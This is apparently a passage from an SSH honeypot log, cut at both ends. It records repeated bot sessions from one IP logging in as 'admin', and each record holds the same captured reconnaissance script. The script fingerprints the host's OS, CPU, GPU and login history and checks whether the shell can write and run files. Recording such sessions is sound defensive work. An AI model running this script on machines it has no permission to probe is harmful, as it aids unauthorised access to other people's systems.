2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:39:43.636833+00:00",
  "ended_at": "2026-08-21T10:39:43.727076+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c009e8e2-2506-4d35-803d-db254350888f",
  "name": "tangled-eager-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 57636,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:38:17.070715+00:00",
  "ended_at": "2026-08-21T10:38:17.252527+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "a811c26e-db5e-432f-94e7-775b49fe9f87",
  "name": "daring-coastal-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 54656,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:36:49.793662+00:00",
  "ended_at": "2026-08-21T10:36:49.893237+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "73b683c4-8c0e-4ebe-963c-48c2455642f1",
  "name": "clever-pewter-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 51638,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:35:28.704708+00:00",
  "ended_at": "2026-08-21T10:35:28.807151+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "56a7f580-e185-42fa-b330-9d325df2b1ca",
  "name": "indigo-inland-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 48638,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:34:08.156662+00:00",
  "ended_at": "2026-08-21T10:34:08.248658+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "9302745a-b690-4b63-aadd-1a43cfba451a",
  "name": "courtly-gritty-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 45622,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:32:42.879376+00:00",
  "ended_at": "2026-08-21T10:32:42.974657+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "4133ddce-3732-4b61-aeb1-576a78e9abac",
  "name": "spirited-proud-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 42594,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh 